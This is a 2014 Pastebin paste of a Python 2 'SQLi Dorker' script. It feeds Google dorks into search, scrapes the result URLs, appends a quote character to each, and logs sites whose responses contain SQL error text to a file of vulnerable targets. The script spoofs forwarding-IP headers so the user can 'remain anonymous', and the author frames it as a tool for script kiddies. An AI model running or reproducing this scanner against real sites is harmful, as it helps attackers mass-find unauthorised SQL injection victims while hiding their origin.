Advertisement
Guest User

SQLi Dorker

a guest
Dec 18th, 2014
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.27 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Basic SQLi auto dorker and checker
  3. #coded by Phreak
  4. #Version 1.1.5
  5. import urllib2,urllib,sys,re,random,string
  6. try:
  7.     dorklist=sys.argv[1]
  8. except:
  9.     print "Usage: "+sys.argv[0]+" [DORK LIST]" #Simple usage for the skids out ther ^_^
  10.     exit(1)
  11. def randomIP():
  12.     return '.'.join('%s'%random.randint(0, 255) for i in range(4)) #Generate random IP for false headers
  13. def test(target,testchar):
  14.     try:
  15.         opener = urllib2.build_opener()
  16.         opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  17.         opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  18.         opener.addheaders = [('REMOTE-ADDR',randomIP())]
  19.         opener.addheaders = [('VIA',randomIP())]
  20.         opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  21.         keywords=["SQL","syntax","Warning:"]
  22.         print "[+] Trying "+target+testchar
  23.         resp=opener.open(target+testchar,timeout=5)
  24.         for keyword in keywords:
  25.             try:
  26.                 for x in resp.read().split(" "):
  27.                     if keyword in x:
  28.                         print "[+] Found keyword '"+keyword+"' at "+target+testchar
  29.                         f=open("SQLi_Vulnerable.txt","a")
  30.                         f.write("\r\n"+target+testchar)
  31.                         f.close()
  32.                         break
  33.             except urllib2.HTTPError as e:
  34.                 print "[-] "+str(e)
  35.                 pass
  36.     except urllib2.URLError as e:
  37.         print "[-] "+str(e)
  38.         pass
  39. def spyder(dork,page):
  40.     opener = urllib2.build_opener()
  41.     opener.addheaders = [('User-agent','Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11')] #Custom user agent.
  42.     opener.addheaders = [('CLIENT-IP',randomIP())] #Inject random IP header into multiple variables, to remain anonymous.
  43.     opener.addheaders = [('REMOTE-ADDR',randomIP())]
  44.     opener.addheaders = [('VIA',randomIP())]
  45.     opener.addheaders = [('X-FORWARDED-FOR',randomIP())]
  46.     opener.addheaders = [('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]
  47.     opener.addheaders = [('Accept-Language','en-US,en;q=0.5')]
  48.     opener.addheaders = [('Accept-Encoding','gzip, deflate')]
  49.     opener.addheaders = [('Referer',dork)]
  50.     try:
  51.         searchresults=opener.open(dork,timeout=5).read()
  52.     except urllib2.HTTPError:
  53.         print "[-] Bot has been blocked from google!!!"
  54.         sys.exit(1)
  55.     for i in re.findall('''href=["'](.[^"']+)["']''',searchresults, re.I):
  56.         i=i.replace("amp;",'')
  57.         if i.endswith("start="+str(page)+"0&sa=N") and i.startswith("/search"):
  58.             dorkurl="https://encrypted.google.com"+i
  59.             print "[+] Searching next page "+dorkurl
  60.             spyder(dorkurl,page)
  61.             page+=1
  62.         i=urllib2.unquote(i).decode('utf8')
  63.         try:
  64.             if i.startswith("/url"):
  65.                 i=i.split("=", 2)[1]+"="+i.split("=", 2)[2].split("&", 2)[0]
  66.                 if i.startswith("http"):
  67.                         if i.startswith("http://accounts.google.com"):
  68.                             continue
  69.                         elif i.startswith("http://www.google.com"):
  70.                             continue
  71.                         elif i.startswith("http://encrypted.google.com"):
  72.                             continue
  73.                         elif i.startswith("http://webcache.googleusercontent.com"):
  74.                             continue
  75.                         elif i!=dork.decode('utf8'):
  76.                             test("http://"+i.split("/")[2]+"/"+i.split("/")[3],"'")
  77.         except:
  78.             continue
  79. f=open(dorklist,"r")
  80. for dork in f.read().split("\n"):
  81.     print "[+] Searching for dork: '"+dork+"'"
  82.     spyder('https://encrypted.google.com/search?hl=en&q='+urllib.quote_plus(dork),1)
  83. f.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement